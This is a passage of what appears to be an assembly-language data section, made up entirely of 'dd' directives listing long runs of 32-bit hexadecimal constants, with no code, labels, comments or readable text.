		dd 0CDB0389Ch, 0FA7E6347h, 0BC096F11h, 7E76CBCh, 0FE49DE77h
		dd 1A377C1Ah, 5FBBD479h, 0B77A88FCh, 0C5C906D1h, 0D93EDB78h
		dd 0B567BF85h, 1B6D5DE0h, 40F12571h, 0F7BE5027h, 0EE1F0E98h
		dd 0F7A92960h, 73A8E620h, 490140CFh, 69E500B2h,	47837FB0h
		dd 6BFAB7BCh, 0CDEC1F98h, 23FCAAAEh, 2ACED4Bh, 0D6523847h
		dd 0C8C98219h, 874C13CAh, 0FB8DEEEBh, 0C473EC3Ah, 0E5EA77EBh
		dd 0A122CD52h, 0BA6DFDACh, 0CBD986BFh, 85CF54DEh, 4EB639F9h
		dd 0A6E225Fh, 595251AEh, 7780EA16h, 5235898h, 14D55265h
		dd 0E1F43590h, 5F898F11h, 8A4975D2h, 4748121Fh,	0FC6B9F39h
		dd 4DDD035h, 6FAE052Ah,	0D62FC8B0h, 0D79542EBh,	5921A791h
		dd 0B140C55Fh, 4EE6FC14h, 35BB3687h, 0CC25D9ACh, 1B851B26h
		dd 672BE1FAh, 0EE74EA67h, 8880D74Dh, 0E787A708h, 4218851Bh
		dd 7B2AC69Bh, 0AD287412h, 959D2D5Ah, 5468C0ECh,	822CE563h
		dd 3C4B1A61h, 940C778Dh, 0A2170E19h, 3FE13C9Dh,	6C038CB0h
		dd 7CA8F71Ah, 66EE1477h, 74CABA35h, 0D1A6C2BCh,	0D2B5B20Dh
		dd 0F8BA7102h, 3366FF31h, 40387B34h, 0C5A5451h,	4270A38Ch
		dd 2087991Bh, 186E4E15h, 0EE6AEDA2h, 0C2422652h, 44225443h
		dd 350AFF86h, 1A053FDEh, 0FD2C4CE6h, 72F768C7h,	765EEB8Ah
		dd 0ADECA80Dh, 6E80D3EAh, 8ECD5E69h, 0DF93D38Eh, 8DDBD84Fh
		dd 80BB5530h, 0D1F6C814h, 5B1B6931h, 8D662AC1h,	64431Ah
		dd 0EB3B578Fh, 0DAA039D6h, 0B4CD2AB3h, 0D5B21678h, 0AAD7D8ACh
		dd 0B221B70Ch, 0B0ECAF5Ch, 0A4962C50h, 6F333A9Bh, 48525B22h
		dd 7FDC7A98h, 28EF04F3h, 812F6167h, 1AB74B6Fh, 4BBE576Ah
		dd 560F4589h, 0EFAFABD5h, 22C2B235h, 4A89EFF5h,	57307416h
		dd 21426E40h, 0BFD54AFFh, 6223DF54h, 18284B7Ch,	0AA765AD3h
		dd 70026547h, 0EED782ACh, 0A68D735Eh, 17BFC0FDh, 0EB5EA868h
		dd 0A93BB1D1h, 42764658h, 16D8410Dh, 0F92DFD63h, 2E88A804h
		dd 22A5D10Dh, 8744343Ah, 0C5A51803h, 0F2EE3C15h, 3A736FEAh
		dd 0AE9D3C8h, 0BB73C9C6h, 28DC13CCh, 0D8C5D909h, 0DAE850A5h
		dd 6943A2E9h, 0F449EB12h, 0D9A2E275h, 0B205C66Bh, 982E2969h
		dd 0C926972Bh, 97640119h, 4673FD38h, 764632Eh, 0FBC43B23h
		dd 4AC5E912h, 0EA9BDC7Bh, 8890FF10h, 17C440E5h,	629D5378h
		dd 1294C4B7h, 5B80FDC6h, 0F27F716Fh, 16FCFD30h,	0E7E0773Fh
		dd 0E7E887BDh, 7B51FA29h, 2F4D7FC9h, 6A31E931h,	5B5ED57Dh
		dd 7BEA43C9h, 0B32422B4h, 93FF542Ch, 71FBB1B4h,	0B04A8671h
		dd 9302953Bh, 2F9B48C7h, 0CA05C45h, 54A9BC31h, 5D6884E3h
		dd 0BE5D6A5Eh, 0D798F72Ch, 0DC4CB9ECh, 9287A793h, 80736B5h
		dd 20D52185h, 0E66F0C0Ch, 0C5E78736h, 87A605C2h, 0EDD79412h
		dd 5860F262h, 0A54EBFEh, 0DB9C1C62h, 90FFDD44h,	1D005C21h
		dd 61FA36E4h, 0F2316E21h, 12277E3Eh, 0E7A899B6h, 4B4EE25Fh
		dd 0D8A9BE88h, 0D9BE162h, 5431EE9Dh, 0A30AF0A5h, 68D2B372h
		dd 0EA98AF38h, 1F0212DAh, 0E6ABC21Ah, 4BE409A3h, 4CB3EBE4h
		dd 0BECC97D5h, 0C06FAAB1h, 0BFECC399h, 540FF542h, 0FEAA57FDh
		dd 5ABBEC41h, 6FB0A5F5h, 654BEAA4h, 6FAA35DFh, 0A9C6FB30h
		dd 0C6FB333Eh, 13ABA7C3h, 0A1F53243h, 24F009CAh, 2B87CE1Bh
		dd 19A1BBF3h, 90EB641Ah, 0A4644C4Eh, 97446D4Ah,	9A0EE43h
		dd 2076C3B6h, 52077C56h, 0AA42CF89h, 407DAF5h, 74D03F91h
		dd 0A7334B85h, 458C53D8h, 918040BDh, 355E125Ah,	27050117h
		dd 0ABC5D8E7h, 0A5C6D0C5h, 2B864ED8h, 0FBB3E0F1h, 6D49C885h
		dd 33D27D6Ah, 0DFB380B5h, 4923562Bh, 0CC8DEA8Bh, 0F78BB14Ch
		dd 9EE9F853h, 7505E144h, 417C8A5Dh, 0B4C451CDh,	1140F97Bh
		dd 0ABAAC4AEh, 7ADBDD62h, 53279F06h, 0D5514CCCh, 0DEE305C7h
		dd 31F3534h, 567D472Ch,	0A2358542h, 349A9149h, 0E2085F23h
		dd 310EAECh, 5BFE16A9h,	0BA7A6932h, 0A442E8E8h,	829E4846h
		dd 87EB23D3h, 0E98A0862h, 0E1DDA594h, 58C894D4h, 0AE1B3522h
		dd 0FD8AF56h, 34B4E22Dh, 1BA4B583h, 8EF08768h, 773E548Ah
		dd 1311EE35h, 0F4F55490h, 45C92064h, 36E18D73h,	4346641Ah
		dd 6223B44Bh, 10EED2FBh, 0BC81178Bh, 0A1D2FA2Ch, 83158A74h
		dd 0DC0E7412h, 1449628Bh, 0F3B8419Eh, 9B497DB1h, 0CC33A1A5h
		dd 6EAB006Fh, 7B7EDFD7h, 0D7168B05h, 8D934A46h,	0D8612FD1h
		dd 2E2629C4h, 6A15B3C2h, 0CC514E4Dh, 75170AE5h,	0EADA8DF0h
		dd 0A51AF1ABh, 0E58335F4h, 0ED889291h, 3BB3BE5Bh, 705DA455h
		dd 7F2E26E5h, 7C07E60Dh, 8A724AD3h, 3AE47DBEh, 6FB2CEF3h
		dd 99157F0Fh, 5D824B71h, 8130337Ch, 6BF5CEF6h, 0A68BE6AEh
		dd 0BABA81B0h, 318BC1Dh, 9903726Eh, 0AA30A9CBh,	5B7AB7D9h
		dd 938A2A97h, 0FA1E5288h, 52836A1Dh, 59045F7Eh,	57BA18DAh
		dd 0EEDACCABh, 6A7AB8CAh
		dd 55BFFF73h, 0DACA9F9Bh, 6B4FFBACh, 0DF018443h, 3E0F3120h
		dd 0F424D33Ch, 3E2EBD66h, 0BD5C1AB4h, 0F80C3CCAh, 0CA59FBB4h
		dd 32B1A52Ch, 6B752494h, 0FD09C745h, 0D891BD83h, 8A97A382h
		dd 0A0731966h, 89873244h, 68D2932Dh, 6D7FF9C3h,	4530C5EFh
		dd 0B70EED22h, 0A9A375Eh, 76CA8EDCh, 0EF79EE6h,	0A71B4A75h
		dd 6AAAC94Eh, 0A50ABCA8h, 0D4FCD6D2h, 6C14900h,	0E2D3A7B5h
		dd 740901E1h, 779708Ah,	51E24D28h, 0E12D3B6Ch, 6EC6ACF5h
		dd 7C639CA8h, 0BA4FE64h, 4286387h, 0FE647DEDh, 2F6302E4h
		dd 793CCCF4h, 999275A7h, 7AFDA265h, 4904F9Eh, 947C4194h
		dd 69C940E6h, 1A4BD5E7h, 482D51A7h, 7D0F966Eh, 0BE87CB37h
		dd 0D7D0FC95h, 81E3C4AFh, 80644BCDh, 2DB0065Bh,	64E7B452h
		dd 0D3F511Dh, 0BBFDEA8Bh, 295698D2h, 1033E387h,	82878BB1h
		dd 3F17FE1Fh, 3A7EEC14h, 0F42E1CA4h, 0ADAD8DFFh, 61495E45h
		dd 0E99FD745h, 0E41203FEh, 0C1582595h, 0B5510A98h, 976B5C30h
		dd 0AFBA8644h, 3A167866h, 0BE39587Bh, 0FA41F754h, 62514E5Ah
		dd 0F469D04Ah, 0A2ECA30Ah, 2ACBD4C0h, 6E85D747h, 7A171CABh
		dd 0F7B1133Ah, 0D9235D35h, 6A341740h, 0D3DEE9C1h, 91ED5043h
		dd 36C0B935h, 0F0991782h, 5838AE06h, 24BE312Bh,	0E285DAB5h
		dd 9ED664D3h, 0D548B0D4h, 54699132h, 7644EED5h,	0DF04EE82h
		dd 432F6578h, 39E3D685h, 554C6A74h, 0A030C09Eh,	0E4CDA863h
		dd 0A4BB471Dh, 6D9EBDB8h, 12872909h, 0D498B097h, 2FF3455Ah
		dd 0C1487F64h, 2E89D2FDh, 0F1ECEBB5h, 0BFBBD9Dh, 7DDD8778h
		dd 95F31C62h, 0B8B44607h, 1F6A859Eh, 0D0A30BAh,	0EEFAF9A1h
		dd 0EE324DB8h, 653954FBh, 933C461Ah, 0BBAB520Bh, 1DE5FF6Ah
		dd 15AC049Eh, 85B449FEh, 2A535552h, 0B895E7F1h,	90A27A88h
		dd 0C742502Ah, 0F88764F0h, 0B1A51D3h, 8295BC14h, 15F15C65h
		dd 0B80BC245h, 0FD04BF9Fh, 321FE530h, 0E658599Fh, 55E38AA8h
		dd 0AC3BF33Eh, 114FA9F3h, 0EDC4501Bh, 0C2FFEA6Ah, 75927AC0h
		dd 1961EA39h, 0A625637Ah, 778C7518h, 543C9538h,	38CD6BCDh
		dd 0C4987A7Eh, 0FD463246h, 3951A53Bh, 7D753D15h, 8DA59157h
		dd 49FF6944h, 0EBA8BD5Dh, 0ACD4D5EFh, 493FF9EBh, 8BA918BDh
		dd 0B9CCEE14h, 0B4BD33B2h, 4352D664h, 36D827D5h, 9AFEFA93h
		dd 0AE3F9A33h, 9A2237Fh, 567B870Eh, 182C434Fh, 99F84F35h
		dd 524BE177h, 27D32DEDh, 9BEFDF3Fh, 8D5DD102h, 9DE3543Ch
		dd 7870602Ah, 0C5762712h, 0DEF45BE3h, 85EBEA61h, 0BFD93D29h
		dd 0D3E2914Ch, 0B1195B70h, 0D0CEF6B5h, 5B9DDAD6h, 710B7226h
		dd 8C470B44h, 931889F5h, 5A2282D3h, 0AA2C00E4h,	1CB19542h
		dd 0C9B602C3h, 3E1236E1h, 62EC397Ah, 0A68BA793h, 0A0707462h
		dd 25F0E0D3h, 0D1E1DBBBh, 0D7ADDC3Bh, 4A174BC8h, 1804F559h
		dd 9F290E35h, 3FDE3EADh, 0A5BA7CAh, 28C3FECCh, 62890350h
		dd 0BA5611CDh, 1F3B6A31h, 0F35AF1EDh, 0FCBD012Dh, 0CCF69DF1h
		dd 55AACFDEh, 0FA3DCF73h, 8EE2F543h, 58593C0Ah,	550FEAACh
		dd 0A87159CAh, 2B88DD3Fh, 0ED156835h, 0E460CC85h, 53C48962h
		dd 0EE3AF2DDh, 2AA8D7B5h, 2A97317Dh, 8876918Ch,	0A3226D59h
		dd 1B843ABh, 0DE50C2C0h, 31225F80h, 21233846h, 875DAEBEh
		dd 0F2CEC1B0h, 57B65E3Ah, 84CBB485h, 4CFC597Eh,	0A2CE1F9h
		dd 0DC59DE94h, 0E059A8A2h, 0ADDCB2C9h, 0C9209EFEh, 8D0F54CAh
		dd 0C9825163h, 0FAEA8820h, 0AC76C1C2h, 6DB07F95h, 7883C2E5h
		dd 43BC8D58h, 0E9D33233h, 9E723F58h, 0E7C2A7F8h, 5E254BFAh
		dd 0FDCADBECh, 4B019DACh, 0D275D333h, 35D50026h, 6FB8E2A3h
		dd 0F10FF282h, 0FB25379Bh, 0DF71825h, 0AC77279Ah, 28D2DFBDh
		dd 0CB750EBDh, 0F9D7A29Dh, 0E8666497h, 0BFE26A5Ch, 1327ECE2h
		dd 3BE37EAEh, 0D0902B09h, 0FD09848Ah, 0D9023E13h, 7BDEB8F7h
		dd 0E09E204Dh, 0D0B292BDh, 0C5BFD8D2h, 0CDF94996h, 0A1725CFFh
		dd 0CB834366h, 44CD7F24h, 410CB0E6h, 2ACA14FCh,	0FD35275Dh
		dd 13C8E18Dh, 2C77B239h, 4AF7F807h, 56458C6Eh, 3A3AF2BAh
		dd 597BF0C8h, 52993EB7h, 4A2597Ch, 0F693F5F9h, 0EC84676Ch
		dd 65E2799Eh, 5CA9D8BCh, 0EC55BAC3h, 0DF077F6Dh, 0F839B8EBh
		dd 78E0F626h, 0A1B92F82h, 14132272h, 2FC319FCh,	54A657E1h
		dd 22F25884h, 971BB02Ah, 5B0B3EF4h, 0EA90EAF9h,	0A13D8627h
		dd 2EFF167Dh, 5D210EF9h, 7715B96Ah, 744E2D6h, 0FA8D249Eh
		dd 73020832h, 0A4A71AC6h, 0D715BFC1h, 8FA5E2D9h, 23F81288h
		dd 454050DEh, 979918E2h, 7D762747h, 0ECB71E02h,	0C5CFCBB4h
		dd 6CB1FEE3h, 16CB95BEh, 55DFECB2h, 0BE338A22h,	0DA7EBF83h
		dd 5328AC23h, 0EBD5AFF8h, 0F058958Ah, 0C1DE058Bh, 9A1D67E8h
		dd 9744485Eh, 98FC50ABh, 6466AAC2h, 1516B9A6h, 0DFCD0B49h
		dd 0FC7C9C4Bh, 36F76B38h, 2811F7Dh, 98BB99EDh, 0C86D513Ch
		dd 2A4BC3CEh, 5F6D04F9h, 62CE4039h, 7A8B813Bh, 75495E34h
		dd 925F23D6h, 724A1C9Fh, 0D7B3C7ADh, 0AE6608E3h, 0A6EFAB18h
		dd 69731ECBh, 4F42AF9Ah, 0A254BAE9h, 0E0BEDFE1h, 3FE28180h
		dd 0A467938Bh, 0D8EC10B5h, 20456671h, 0B8FB776Bh, 0F646043Eh
		dd 0AE6088B3h, 0BC3D2D8h, 0C23431EAh, 0BEF7A4B7h, 0D27A12AAh
		dd 0A99C8816h, 0D88E5397h, 341C53D1h, 2D42F751h, 0D44D2776h
		dd 7941CCB8h, 0FC43CB4Bh, 6BC789A9h, 7BF97D01h,	23F8324Fh
		dd 0DF7361F9h, 0EAD326F4h, 0B8E3E276h, 0A093C89Ah, 6D9EA225h
		dd 6FA37E63h, 0D7CF3A98h, 8A523C63h, 91788724h,	0F8F15412h
		dd 71E7AED4h, 0F19E0AA0h, 9A28565Eh, 0E993822Fh, 1A05247Ah
		dd 0D7EFEA83h, 6B1632B1h, 4BFDDAADh, 9AF136A5h,	60EA0ACCh
		dd 1B115F0Bh, 42D6F6B1h, 4A840621h, 2C1B27D2h, 13F469D5h
		dd 2E13582Eh, 534AB58h,	7983840Fh, 60C6A354h, 285AFD3Eh
		dd 833831A4h, 668614A0h, 68626411h, 86464136h, 18E904ECh
		dd 0AE94F982h, 13E68049h, 42D0C9D4h, 0C2183A82h, 0A18C6735h
		dd 33B50425h, 0A2438EE4h, 8252D004h, 0A784324Eh, 790CADB2h
		dd 0D0C13A09h, 185A8272h, 0A3C42982h, 66FE6C80h, 0B20E2A76h
		dd 67626A13h, 56767EE5h, 6EB3B2D7h, 0AA1B3B0Fh,	9DB4D9D9h
		dd 0D8DB2D9Dh, 9D95BAD9h, 0D9D85B6Dh, 0EA9D89BEh, 59ECEC0Dh
		dd 5AED4EC7h, 61AFF676h, 3B3569A7h, 0D3B25707h,	68E7621Ch
		dd 7E2D3B05h, 0B2944E76h, 9D9CBAD3h, 0C4765E93h, 97DA7632h
		dd 0B37313B2h, 9D84B1D3h, 78E4C5CEh, 45EC8CAFh,	0B17BDB97h
		dd 2F15CCECh, 0DDB8A161h, 6346818h, 6B277D6Bh, 0BFC45216h
		dd 5D9FA5CDh, 7AA7E9B3h, 9EECFD16h, 0F2FB3F41h,	0DAFC27E9h
		dd 0B27C2E9Ah, 0C79BF4B5h, 0A08EB4DDh, 1036866Ch, 0B410C594h
		dd 8614C41h, 312659C6h,	71A095B4h, 28236D0Ch, 4EDA193h
		dd 9AA8618Dh, 0A0860CA0h, 0A19D3D11h, 18D2825Ah, 85920882h
		dd 528226A1h, 9F5C8218h, 74182189h, 14743234h, 6A18E38Ah
		dd 226BA821h, 9DC3D020h, 5998C10Ch, 47384307h, 6C8218C5h
		dd 0ED433B42h, 0A0860904h, 4324F53Dh, 32B5041Dh, 9D049D4h
		dd 6A08BA86h, 34474861h, 8C8651DAh, 64333504h, 4320E822h
		dd 31350429h, 3F682164h, 0D5046943h, 2A7E1412h,	317A02FDh
		dd 0C0F77E83h, 0FEC3191Fh, 0E6ADFA4Ch, 0DA08E398h, 8224D0CEh
		dd 853431B6h, 650CADA0h, 0A185B411h, 3136826Ch,	6D04794h
		dd 0E7CC15E4h, 0EFD066BCh, 45990E3Ah, 66865AD0h, 2186B413h
		dd 19AB413Bh, 4AD04B9Ah
		dd 3E767BA4h, 83885BA7h, 177BFC29h, 98097FB3h, 4DD31CFAh
		dd 0A5A19F90h, 0D0C398D0h, 33968232h, 29C585E4h, 0A73967CEh
		dd 65DFA52Bh, 6827E21Ch, 20154329h, 110A1973h, 95A184B4h
		dd 68662D04h, 190B4135h, 7CC245C2h, 3412D686h, 3875A197h
		dd 81B4331Fh, 6D0CD9A0h, 43166822h, 833B7678h, 0E504ADA1h
		dd 0A08DB433h, 13B6863Ch, 3550CD94h, 0C10C5941h, 8214C054h
		dd 0C6E24F76h, 89EF59BAh, 0E0C77F85h, 87228D97h, 77E9AB83h
		dd 0B28A38F7h, 0AA7E932Fh, 5ADA70C7h, 0D0C19B4Ah, 19D2827Eh
		dd 8D28226Ah, 5A7B0821h, 69A48218h, 9410430Ah, 0A1043134h
		dd 991CA34Dh, 23957810h, 9AEA093h, 0EA09323Ch, 0D4104864h
		dd 413B50C1h, 4628631h,	0B50433B5h, 3C2182B7h, 10C93FD3h
		dd 0CADAE4Eh, 0C13FC561h, 16A09190h, 1D044C86h,	0A0852865h
		dd 8D28666h, 3A50C83Ah,	650C4D41h, 0A19FB410h, 196A824Ch
		dd 1ED0471Ah, 54112686h, 8214D0CDh, 459433B6h, 0B28636D0h
		dd 50CADA09h, 185B411Eh, 136827CAh, 0DA083343h,	822CD0C0h
		dd 9B3431D6h, 0D90CB5A0h, 0D0C35A09h, 3356825Ch, 95A09F34h
		dd 6C42D0Ch, 6BA3013Ch,	951E45F1h, 21C15BF4h, 33F2094Bh
		dd 72806D04h, 2A09782Eh, 8272DC65h, 8A543396h, 550CE957h
		dd 0A18CB410h, 194B4110h, 2F6095Ah, 5A086B43h, 825AD0C2h
		dd 8EB43316h, 7D2885A0h, 7D2E06EFh, 0E7CEFD13h,	99EE5810h
		dd 6C56D0CBh, 6DC35CEEh, 0FD3B671Ch, 6A90E6CEh,	4316682h
		dd 183313CBh, 9F2825AAh, 0C89F2821h, 0A089A863h, 960866Ch
		dd 0B1790B23h, 3646DA85h, 0FD853916h, 413FEC2Dh, 7FE093BFh
		dd 0E0FD95AAh, 3F838EA5h, 4EDFD822h, 0C47299BFh, 20863410h
		dd 3C7AC1A5h, 86E34B58h, 0DC7219FCh, 0C72E9410h, 7269410Dh
		dd 962360DCh, 311B06E3h, 5BC4D8B7h, 63B60A74h, 0FEC2C12Eh
		dd 5CCA6C34h, 67F67483h, 94E66B60h, 35DB6FD0h, 0B60FC79Eh
		dd 61C68666h, 1268666Bh, 0A68666B6h, 8F1E6B60h,	638ACAFEh
		dd 188365D2h, 0FDE11A5Ch, 8A81F65h, 0EFBB65B0h,	6652AE95h
		dd 0A60D029Ah, 0FA8768DBh, 7F977A28h, 9015D5ECh, 5D0F88FBh
		dd 434A0887h, 2A104E1Bh, 8DB129D6h, 1E314CC6h, 6751A41Ch
		dd 0F6F8BAF4h, 72C7617Fh, 0D867218Ah, 6FDB7202h, 52973E28h
		dd 5922927Dh, 614D2B8Fh, 7822F26h, 0BF217124h, 0D68B883Bh
		dd 0D1711AF1h, 2E235E32h, 88D78E8Eh, 35E3838Bh,	0BC69A2E2h
		dd 0F5C85C46h, 0FEC5C405h, 51711AF1h, 2E235E3Bh, 88D78CF6h
		dd 4CF1EA8Bh, 0A7676C5Ch, 0A13B1B62h, 0DCACECADh, 4DEACEC2h
		dd 0C0D9ACECh, 0EC75DACEh, 0CECB5BACh, 6CEC3586h, 96CECD5Ah
		dd 0D6CEC95h, 82ADB3B1h, 767EED9Dh, 0D9D94BAAh,	5A9D9CB3h
		dd 97FB3B2Fh, 94B4D3B1h, 766E839Dh, 73B0979Ah, 2D3B3174h
		dd 3139D90Bh, 0B9D69D9Fh, 0B3B49CECh, 0D3B36623h, 2DB36BCEh
		dd 1D7D8B36h, 593DF033h, 7477839Bh, 67F435E4h, 49788F9Fh
		dd 0CCFC47CFh, 0D372352Ah, 3B774187h, 80E8AC5h,	518D2BA1h
		dd 1166AA1h, 8DD6EF29h,	872A0A92h, 773AB075h, 92F57E1h
		dd 3EF2A41h, 642CE981h,	36E2B07Dh, 5606C68h, 7BBB4E04h
		dd 0E288D10Dh, 0C819897Ah, 1597A818h, 306625A3h, 4E235663h
		dd 0C25CC4AAh, 0CE600A98h, 374409F3h, 605E318Ch, 0D93470DAh
		dd 23908B3Fh, 0F206E918h, 98532328h, 0E4F43E93h, 0B6BA1829h
		dd 5847B45Dh, 5D812E57h, 0F1BAB076h, 339F89D3h,	3F1AF9F8h
		dd 7980BB31h, 0C67BBB40h, 50465EE4h, 1D5D89C6h,	0ACDD88B4h
		dd 0D7BC5A53h, 864CA7BAh, 69F76EE6h, 0DC4E353Dh, 6BC79A77h
		dd 0A877B8F0h, 0EE03933Bh, 50A38C21h, 0FE0192CCh, 4E90B41Ah
		dd 39BC707Bh, 0E79A6F14h, 880FE716h, 25C539C4h,	819DCA94h
		dd 0F23245B2h, 0E71D0A71h, 0DE57CE93h, 2C81A007h, 0BB1EE585h
		dd 0F07D304Dh, 0AF5E3C7Ch, 0FDD7101Dh, 0DE1C3C8Eh, 14237CB6h
		dd 7DEB648Bh, 5D9F6730h, 7EF79E8Eh, 0F1AA2E43h,	0CBD4B905h
		dd 0A5C84FDEh, 553F35BEh, 85DFEF5Bh, 9BB0653Eh,	41638CA3h
		dd 4D3E33A1h, 0A5C71E37h, 82B03135h, 2806B483h,	20C756D3h
		dd 88CD3A29h, 877F1BF9h, 6508CB86h, 0C5C24AE4h,	3E740EDFh
		dd 4F8ECBE6h, 0DE216933h, 9566F189h, 37176BC7h,	0DC250D7Dh
		dd 6BF2BE12h, 76E12ABDh, 0ABADA349h, 68CC3275h,	7026DFC7h
		dd 10F9EC8Fh, 9A20B765h, 7C8A1F1Ah, 0D08EBD09h,	745D69F1h
		dd 6D25C37Ch, 0D2D164Dh, 0E209BE85h, 78B453B3h,	13345A30h
		dd 0E3BA1CA8h, 49A67F0Eh, 0D450A52Bh, 7D92929Dh, 29EF62C9h
		dd 0C50DC01Eh, 6D5C5392h, 720E9C79h, 0BE46914Bh, 5A742FFCh
		dd 10F47B8Fh, 41E6798Ch, 3AE8A6A8h, 170D8786h, 86582A45h
		dd 42D813ECh, 0F5DBBA30h, 2DC7AC3Fh, 75E208A7h,	835401BEh
		dd 920D206Fh, 2931C046h, 0A9138923h, 962501B8h,	0D95CB8A5h
		dd 0F24659A3h, 2321FFCCh, 0C7CE89C9h, 74CEE3B8h, 0DE7E48CBh
		dd 0C5DA708Dh, 443C62BFh, 7021A342h, 0A1BD91E3h, 4381CA5h
		dd 0B95C8076h, 7B5E5DA7h, 53DA9468h, 0CB81299Bh, 43142B10h
		dd 8CD4F62Eh, 0E290B79Ch, 0ECBA0429h, 7DD509E2h, 56F5164Ch
		dd 0C43C36AFh, 7A3C5A05h, 35E2787h, 2E27BDCEh, 6A85F1F9h
		dd 584B0714h, 5A23B6B6h, 2FEC7A26h, 3BE6BE7Ch, 0F96B9482h
		dd 745B4792h, 0D446BF7Ch, 571D331Ah, 12239895h,	47519589h
		dd 7FA32ABFh, 0FC24AD22h, 0FC5E6511h, 26D1AB8Ah, 15022F51h
		dd 12E3A895h, 5AA057F5h, 0C470E508h, 7FF5E87Dh,	596D9E1h
		dd 0A7919456h, 0EC0D339Dh, 0E2D90ACFh, 75652FB4h, 0B7A25824h
		dd 0E886B56Bh, 0D293D0E2h, 97240A44h, 0E47B93A2h, 745FFF49h
		dd 0DC7B770h, 0E7E23E3Bh, 3DD3F0F7h, 6D02F68Bh,	0EFDA68Ah
		dd 7B94BC9Ch, 0A4688AE5h, 3233289Ah, 9AE970D3h,	0E9876AC4h
		dd 0B58C3FF4h, 8D2B860Bh, 4EDC4914h, 0D2B85E1Bh, 59E42F74h
		dd 26D145C0h, 31A7AEF1h, 9DB60189h, 638F175Eh, 0D04C2EACh
		dd 97ED44EBh, 9E9C5858h, 79C7ACC7h, 80BE6DBCh, 82CF2D97h
		dd 0CB51A6C6h, 8CB28F7Ch, 0DCC5D150h, 0D084DEF3h, 452FB8E8h
		dd 0B6674C81h, 0BD961551h, 0F49A7AEh, 73772D8Bh, 1364D213h
		dd 6A18DB14h, 0D7BD6E45h, 5E513010h, 0B156DB17h, 912FB4CAh
		dd 0C37B01D4h, 0F553C49Bh, 8D33D7D4h, 936D88F6h, 0E836BC5Dh
		dd 0FB9CF2FBh, 1D79E7BFh, 0BAC6936Bh, 52C62852h, 42F65C53h
		dd 35AFC64h, 0D96078ADh, 70B4E847h, 644E4691h, 0FFB15C2Fh
		dd 69BFEA0Bh, 779AD99Ah, 0B8F5ED12h, 0DFC534E4h, 1E99B5C9h
		dd 6E09165Eh, 89B73BE4h, 0D847948Dh, 0A7D0B46h,	345F9EADh
		dd 0D1AAAAB0h, 434AD806h, 1831EE2Eh, 4319D46Ch,	32D2A84Fh
		dd 3DD169BEh, 11C3831Eh, 0BEC2B5B1h, 81BE993h, 918778DDh
		dd 0C8C0BA17h, 824CA127h, 0E8F1BFA2h, 0D2D743E3h, 2B0D13F2h
		dd 0A7B931BEh, 872719A5h, 30915156h, 0DC993780h, 595270FAh
		dd 0A7C23DB6h, 1CBA771Dh, 0A590ADDEh, 378FE4D7h, 0E78165F1h
		dd 417D7121h, 0EC0A2EEFh, 0E5A68BCFh, 66BC5914h, 9C414DE6h
		dd 4C0BFD36h, 90519CBAh, 1DC8BC42h, 0EB1EAFBFh,	0D47D0645h
		dd 0A1661A44h, 45DB2AE4h, 0D2F813B9h, 99284565h, 0A4D2FC5Dh
		dd 58DBC556h, 556FFB96h, 7EECF365h, 0C2736955h,	1D287114h
		dd 5DCE88EFh, 0D827E6Eh, 5F08ED5Eh, 89675A79h, 0FA3E4667h
		dd 0BFF9675Ah, 0E05775F3h, 50DDC71Dh, 303DD7B0h, 1EF4D1BCh
		dd 41D123CFh, 0C5479E3Dh
		dd 312AFD15h, 5C8EDA5h,	3110DA4Dh, 0BA8D6D7Ch, 0B2FD79DEh
		dd 0FF1F676Dh, 0F63FB6F2h, 0EDAAFFF1h, 0BFFC7DB7h, 0FB17C36Eh
		dd 0B4A3FA37h, 2B7F99EDh, 0CB771BA2h, 253D65D1h, 0F5C74594h
		dd 2F445678h, 0D63CF1EFh, 0D880DD7Bh, 0D5DEB08Dh, 9CD1B5AFh
		dd 4AC4A37Fh, 0B3BCED24h, 9562D7DFh, 0B7D02F36h, 0B3A5382Ah
		dd 0AFFF4A3Ch, 0FD257FD1h, 0FFFE9DFFh, 0A1BFFF49h, 0FFE84FFFh
		dd 96BFFA1Bh, 0FD225E3Eh, 97FE93Bh, 0FF483FFDh,	0C37FE82Bh
		dd 42DE30D7h, 8304FA7Fh, 99D46CD9h, 4D929313h, 7037F003h
		dd 0D494A0E0h, 58A073C1h, 0EE999BCDh, 32C3A654h, 0D53B6EC9h
		dd 28EC93D2h, 99919C6Ch, 0A9356761h, 0C4F0772h,	87472434h
		dd 60819EEEh, 4350A393h, 7496885Bh, 0B40333B8h,	8E7FE5A6h
		dd 93585D71h, 0A44838F9h, 0F693E4A9h, 15D73C5Ch, 9656DFC6h
		dd 4D38E66h, 4892E4Fh, 58D86C8Dh, 0FF2452A4h, 73CA9435h
		dd 4BC8E213h, 0B7224BE8h, 5A9FA9EBh, 61464F20h,	169919E1h
		dd 0F4DFC571h, 0DF546938h, 0CE54C464h, 253F252h, 779A377Fh
		dd 28B4CECEh, 1DE639BAh, 49F80CB3h, 0BCDE8FC0h,	0EEC73743h
		dd 0CE7AA2CEh, 8CBB68D3h, 0AE724D1Eh, 1376F2FAh, 0AF3A4D8h
		dd 2E4A119Dh, 69B2F052h, 309A6676h, 0A1A452B0h,	0DBE593D8h
		dd 11CCD2D8h, 99B9E125h, 3D7558E9h, 32EB28B7h, 56D818C7h
		dd 0E64F6465h, 721B3D08h, 0BE509683h, 0D40C5761h, 0E5EEC915h
		dd 33851237h, 0C36AD716h, 0D3323322h, 0C46F4BDDh, 8DAE3E3Eh
		dd 8F9BF56h, 6DFAE0F2h,	0E09F3B98h, 0A457BA08h,	82126822h
		dd 1A7409EEh, 9C1954D4h, 41416BEAh, 5650446h, 506A8D3Ah
		dd 3A080DC7h, 413A086h,	3A078746h, 1C997D13h, 0F6839074h
		dd 813B6820h, 4CCC8A91h, 67F867B6h, 0F538FBC1h,	0E40A45BFh
		dd 0DE57B9h, 7FE9CD5h, 0F179BA74h, 250BE477h, 0E63A0798h
		dd 38F3B972h, 17B49E68h, 7F4A4404h, 0FD69D1C4h,	22FBFB10h
		dd 51172ED0h, 34B07DEDh, 0FAE3DC54h, 84C8ABC5h,	4D453CC0h
		dd 0CD151FE9h, 0B2BBBBB1h, 3470E7FAh, 0ABD15FABh, 0CB207EB3h
		dd 0EDA4EFFCh, 28C6F6B2h, 247D1706h, 24426F97h,	2712BC60h
		dd 0FF6B6681h, 108C043Ah, 0A3AF724Ah, 0E0C83680h, 435CF3E3h
		dd 5D809BD8h, 6FD13DFCh, 5364046h, 0EF8A7F44h, 9AEEED95h
		dd 176B7DAh, 5CAE4CE3h,	26EFD4D3h, 28C593BEh, 13A2029h
